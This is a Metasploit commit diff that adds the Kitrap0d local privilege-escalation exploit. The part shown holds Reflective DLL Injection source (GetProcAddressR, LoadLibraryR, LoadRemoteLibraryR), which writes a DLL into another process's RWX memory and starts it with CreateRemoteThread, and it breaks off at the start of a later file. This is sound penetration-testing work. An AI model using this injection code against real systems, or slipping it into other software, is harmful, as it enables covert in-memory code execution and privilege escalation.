Land #2633, @OJ's port of Kitrap0d as local exploit
This commit is contained in:
commit
4cf16cf360
|
@ -41,3 +41,13 @@ tags
|
||||||
*~
|
*~
|
||||||
# Ignore backups of retabbed files
|
# Ignore backups of retabbed files
|
||||||
*.notab
|
*.notab
|
||||||
|
|
||||||
|
# ignore Visual Studio external source garbage
|
||||||
|
*.suo
|
||||||
|
*.sdf
|
||||||
|
*.opensdf
|
||||||
|
*.user
|
||||||
|
|
||||||
|
# ignore release/debug folders for exploits
|
||||||
|
external/source/exploits/**/Debug
|
||||||
|
external/source/exploits/**/Release
|
||||||
|
|
Binary file not shown.
|
@ -0,0 +1,116 @@
|
||||||
|
//===============================================================================================//
|
||||||
|
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||||
|
// provided that the following conditions are met:
|
||||||
|
//
|
||||||
|
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer.
|
||||||
|
//
|
||||||
|
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||||
|
// with the distribution.
|
||||||
|
//
|
||||||
|
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||||
|
// endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
//
|
||||||
|
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||||
|
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||||
|
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||||
|
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||||
|
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
// POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
//===============================================================================================//
|
||||||
|
#include "GetProcAddressR.h"
|
||||||
|
//===============================================================================================//
|
||||||
|
// We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which
|
||||||
|
// wont be able to resolve exported addresses in reflectivly loaded librarys.
|
||||||
|
FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName )
|
||||||
|
{
|
||||||
|
UINT_PTR uiLibraryAddress = 0;
|
||||||
|
FARPROC fpResult = NULL;
|
||||||
|
|
||||||
|
if( hModule == NULL )
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
// a module handle is really its base address
|
||||||
|
uiLibraryAddress = (UINT_PTR)hModule;
|
||||||
|
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
UINT_PTR uiAddressArray = 0;
|
||||||
|
UINT_PTR uiNameArray = 0;
|
||||||
|
UINT_PTR uiNameOrdinals = 0;
|
||||||
|
PIMAGE_NT_HEADERS pNtHeaders = NULL;
|
||||||
|
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
|
||||||
|
PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
|
||||||
|
|
||||||
|
// get the VA of the modules NT Header
|
||||||
|
pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);
|
||||||
|
|
||||||
|
pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||||
|
|
||||||
|
// get the VA of the export directory
|
||||||
|
pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress );
|
||||||
|
|
||||||
|
// get the VA for the array of addresses
|
||||||
|
uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions );
|
||||||
|
|
||||||
|
// get the VA for the array of name pointers
|
||||||
|
uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames );
|
||||||
|
|
||||||
|
// get the VA for the array of name ordinals
|
||||||
|
uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals );
|
||||||
|
|
||||||
|
// test if we are importing by name or by ordinal...
|
||||||
|
if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 )
|
||||||
|
{
|
||||||
|
// import by ordinal...
|
||||||
|
|
||||||
|
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
||||||
|
uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) );
|
||||||
|
|
||||||
|
// resolve the address for this imported function
|
||||||
|
fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) );
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// import by name...
|
||||||
|
DWORD dwCounter = pExportDirectory->NumberOfNames;
|
||||||
|
while( dwCounter-- )
|
||||||
|
{
|
||||||
|
char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray ));
|
||||||
|
|
||||||
|
// test if we have a match...
|
||||||
|
if( strcmp( cpExportedFunctionName, lpProcName ) == 0 )
|
||||||
|
{
|
||||||
|
// use the functions name ordinal as an index into the array of name pointers
|
||||||
|
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||||
|
|
||||||
|
// calculate the virtual address for the function
|
||||||
|
fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray ));
|
||||||
|
|
||||||
|
// finish...
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// get the next exported function name
|
||||||
|
uiNameArray += sizeof(DWORD);
|
||||||
|
|
||||||
|
// get the next exported function name ordinal
|
||||||
|
uiNameOrdinals += sizeof(WORD);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
__except( EXCEPTION_EXECUTE_HANDLER )
|
||||||
|
{
|
||||||
|
fpResult = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
return fpResult;
|
||||||
|
}
|
||||||
|
//===============================================================================================//
|
|
@ -0,0 +1,36 @@
|
||||||
|
//===============================================================================================//
|
||||||
|
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||||
|
// provided that the following conditions are met:
|
||||||
|
//
|
||||||
|
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer.
|
||||||
|
//
|
||||||
|
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||||
|
// with the distribution.
|
||||||
|
//
|
||||||
|
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||||
|
// endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
//
|
||||||
|
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||||
|
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||||
|
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||||
|
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||||
|
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
// POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
//===============================================================================================//
|
||||||
|
#ifndef _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
|
||||||
|
#define _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
|
||||||
|
//===============================================================================================//
|
||||||
|
#include "ReflectiveDLLInjection.h"
|
||||||
|
|
||||||
|
FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName );
|
||||||
|
//===============================================================================================//
|
||||||
|
#endif
|
||||||
|
//===============================================================================================//
|
|
@ -0,0 +1,233 @@
|
||||||
|
//===============================================================================================//
|
||||||
|
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||||
|
// provided that the following conditions are met:
|
||||||
|
//
|
||||||
|
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer.
|
||||||
|
//
|
||||||
|
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||||
|
// with the distribution.
|
||||||
|
//
|
||||||
|
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||||
|
// endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
//
|
||||||
|
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||||
|
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||||
|
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||||
|
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||||
|
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
// POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
//===============================================================================================//
|
||||||
|
#include "LoadLibraryR.h"
|
||||||
|
//===============================================================================================//
|
||||||
|
DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress )
|
||||||
|
{
|
||||||
|
WORD wIndex = 0;
|
||||||
|
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
|
||||||
|
PIMAGE_NT_HEADERS pNtHeaders = NULL;
|
||||||
|
|
||||||
|
pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
|
||||||
|
|
||||||
|
pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);
|
||||||
|
|
||||||
|
if( dwRva < pSectionHeader[0].PointerToRawData )
|
||||||
|
return dwRva;
|
||||||
|
|
||||||
|
for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ )
|
||||||
|
{
|
||||||
|
if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )
|
||||||
|
return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData );
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
//===============================================================================================//
|
||||||
|
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
|
||||||
|
{
|
||||||
|
UINT_PTR uiBaseAddress = 0;
|
||||||
|
UINT_PTR uiExportDir = 0;
|
||||||
|
UINT_PTR uiNameArray = 0;
|
||||||
|
UINT_PTR uiAddressArray = 0;
|
||||||
|
UINT_PTR uiNameOrdinals = 0;
|
||||||
|
DWORD dwCounter = 0;
|
||||||
|
#ifdef _WIN64
|
||||||
|
DWORD dwMeterpreterArch = 2;
|
||||||
|
#else
|
||||||
|
// This will catch Win32 and WinRT.
|
||||||
|
DWORD dwMeterpreterArch = 1;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
|
||||||
|
|
||||||
|
// get the File Offset of the modules NT Header
|
||||||
|
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||||
|
|
||||||
|
// currenlty we can only process a PE file which is the same type as the one this fuction has
|
||||||
|
// been compiled as, due to various offset in the PE structures being defined at compile time.
|
||||||
|
if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32
|
||||||
|
{
|
||||||
|
if( dwMeterpreterArch != 1 )
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64
|
||||||
|
{
|
||||||
|
if( dwMeterpreterArch != 2 )
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// uiNameArray = the address of the modules export directory entry
|
||||||
|
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||||
|
|
||||||
|
// get the File Offset of the export directory
|
||||||
|
uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress );
|
||||||
|
|
||||||
|
// get the File Offset for the array of name pointers
|
||||||
|
uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress );
|
||||||
|
|
||||||
|
// get the File Offset for the array of addresses
|
||||||
|
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
|
||||||
|
|
||||||
|
// get the File Offset for the array of name ordinals
|
||||||
|
uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress );
|
||||||
|
|
||||||
|
// get a counter for the number of exported functions...
|
||||||
|
dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;
|
||||||
|
|
||||||
|
// loop through all the exported functions to find the ReflectiveLoader
|
||||||
|
while( dwCounter-- )
|
||||||
|
{
|
||||||
|
char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress ));
|
||||||
|
|
||||||
|
if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL )
|
||||||
|
{
|
||||||
|
// get the File Offset for the array of addresses
|
||||||
|
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
|
||||||
|
|
||||||
|
// use the functions name ordinal as an index into the array of name pointers
|
||||||
|
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||||
|
|
||||||
|
// return the File Offset to the ReflectiveLoader() functions code...
|
||||||
|
return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress );
|
||||||
|
}
|
||||||
|
// get the next exported function name
|
||||||
|
uiNameArray += sizeof(DWORD);
|
||||||
|
|
||||||
|
// get the next exported function name ordinal
|
||||||
|
uiNameOrdinals += sizeof(WORD);
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
//===============================================================================================//
|
||||||
|
// Loads a DLL image from memory via its exported ReflectiveLoader function
|
||||||
|
HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength )
|
||||||
|
{
|
||||||
|
HMODULE hResult = NULL;
|
||||||
|
DWORD dwReflectiveLoaderOffset = 0;
|
||||||
|
DWORD dwOldProtect1 = 0;
|
||||||
|
DWORD dwOldProtect2 = 0;
|
||||||
|
REFLECTIVELOADER pReflectiveLoader = NULL;
|
||||||
|
DLLMAIN pDllMain = NULL;
|
||||||
|
|
||||||
|
if( lpBuffer == NULL || dwLength == 0 )
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
// check if the library has a ReflectiveLoader...
|
||||||
|
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
|
||||||
|
if( dwReflectiveLoaderOffset != 0 )
|
||||||
|
{
|
||||||
|
pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset);
|
||||||
|
|
||||||
|
// we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader...
|
||||||
|
// this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region
|
||||||
|
if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) )
|
||||||
|
{
|
||||||
|
// call the librarys ReflectiveLoader...
|
||||||
|
pDllMain = (DLLMAIN)pReflectiveLoader();
|
||||||
|
if( pDllMain != NULL )
|
||||||
|
{
|
||||||
|
// call the loaded librarys DllMain to get its HMODULE
|
||||||
|
// Dont call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH as that is for payloads only.
|
||||||
|
if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) )
|
||||||
|
hResult = NULL;
|
||||||
|
}
|
||||||
|
// revert to the previous protection flags...
|
||||||
|
VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 );
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
__except( EXCEPTION_EXECUTE_HANDLER )
|
||||||
|
{
|
||||||
|
hResult = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
return hResult;
|
||||||
|
}
|
||||||
|
//===============================================================================================//
|
||||||
|
// Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function
|
||||||
|
// Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||||
|
// defined in order to use the correct RDI prototypes.
|
||||||
|
// Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
|
||||||
|
// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
|
||||||
|
// Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space.
|
||||||
|
// Note: This function currently cant inject accross architectures, but only to architectures which are the
|
||||||
|
// same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64.
|
||||||
|
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter )
|
||||||
|
{
|
||||||
|
LPVOID lpRemoteLibraryBuffer = NULL;
|
||||||
|
LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL;
|
||||||
|
HANDLE hThread = NULL;
|
||||||
|
DWORD dwReflectiveLoaderOffset = 0;
|
||||||
|
DWORD dwThreadId = 0;
|
||||||
|
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
do
|
||||||
|
{
|
||||||
|
if( !hProcess || !lpBuffer || !dwLength )
|
||||||
|
break;
|
||||||
|
|
||||||
|
// check if the library has a ReflectiveLoader...
|
||||||
|
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
|
||||||
|
if( !dwReflectiveLoaderOffset )
|
||||||
|
break;
|
||||||
|
|
||||||
|
// alloc memory (RWX) in the host process for the image...
|
||||||
|
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||||
|
if( !lpRemoteLibraryBuffer )
|
||||||
|
break;
|
||||||
|
|
||||||
|
// write the image into the host process...
|
||||||
|
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
|
||||||
|
break;
|
||||||
|
|
||||||
|
// add the offset to ReflectiveLoader() to the remote library address...
|
||||||
|
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );
|
||||||
|
|
||||||
|
// create a remote thread in the host process to call the ReflectiveLoader!
|
||||||
|
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );
|
||||||
|
|
||||||
|
} while( 0 );
|
||||||
|
|
||||||
|
}
|
||||||
|
__except( EXCEPTION_EXECUTE_HANDLER )
|
||||||
|
{
|
||||||
|
hThread = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
return hThread;
|
||||||
|
}
|
||||||
|
//===============================================================================================//
|
|
@ -0,0 +1,41 @@
|
||||||
|
//===============================================================================================//
|
||||||
|
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||||
|
// provided that the following conditions are met:
|
||||||
|
//
|
||||||
|
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer.
|
||||||
|
//
|
||||||
|
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||||
|
// with the distribution.
|
||||||
|
//
|
||||||
|
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||||
|
// endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
//
|
||||||
|
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||||
|
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||||
|
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||||
|
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||||
|
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
// POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
//===============================================================================================//
|
||||||
|
#ifndef _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_LOADLIBRARYR_H
|
||||||
|
#define _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_LOADLIBRARYR_H
|
||||||
|
//===============================================================================================//
|
||||||
|
#include "ReflectiveDLLInjection.h"
|
||||||
|
|
||||||
|
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer );
|
||||||
|
|
||||||
|
HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength );
|
||||||
|
|
||||||
|
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter );
|
||||||
|
|
||||||
|
//===============================================================================================//
|
||||||
|
#endif
|
||||||
|
//===============================================================================================//
|
|
@ -0,0 +1,53 @@
|
||||||
|
//===============================================================================================//
|
||||||
|
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||||
|
// provided that the following conditions are met:
|
||||||
|
//
|
||||||
|
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer.
|
||||||
|
//
|
||||||
|
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||||
|
// with the distribution.
|
||||||
|
//
|
||||||
|
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||||
|
// endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
//
|
||||||
|
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||||
|
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||||
|
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||||
|
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||||
|
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
// POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
//===============================================================================================//
|
||||||
|
#ifndef _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||||
|
#define _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||||
|
//===============================================================================================//
|
||||||
|
#define WIN32_LEAN_AND_MEAN
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
// we declare some common stuff in here...
|
||||||
|
|
||||||
|
#define DLL_METASPLOIT_ATTACH 4
|
||||||
|
#define DLL_METASPLOIT_DETACH 5
|
||||||
|
#define DLL_QUERY_HMODULE 6
|
||||||
|
|
||||||
|
#define DEREF( name )*(UINT_PTR *)(name)
|
||||||
|
#define DEREF_64( name )*(DWORD64 *)(name)
|
||||||
|
#define DEREF_32( name )*(DWORD *)(name)
|
||||||
|
#define DEREF_16( name )*(WORD *)(name)
|
||||||
|
#define DEREF_8( name )*(BYTE *)(name)
|
||||||
|
|
||||||
|
typedef UINT_PTR (WINAPI * REFLECTIVELOADER)( VOID );
|
||||||
|
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
|
||||||
|
|
||||||
|
#define DLLEXPORT __declspec( dllexport )
|
||||||
|
|
||||||
|
//===============================================================================================//
|
||||||
|
#endif
|
||||||
|
//===============================================================================================//
|
|
@ -0,0 +1,599 @@
|
||||||
|
//===============================================================================================//
|
||||||
|
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||||
|
// provided that the following conditions are met:
|
||||||
|
//
|
||||||
|
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer.
|
||||||
|
//
|
||||||
|
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||||
|
// with the distribution.
|
||||||
|
//
|
||||||
|
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||||
|
// endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
//
|
||||||
|
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||||
|
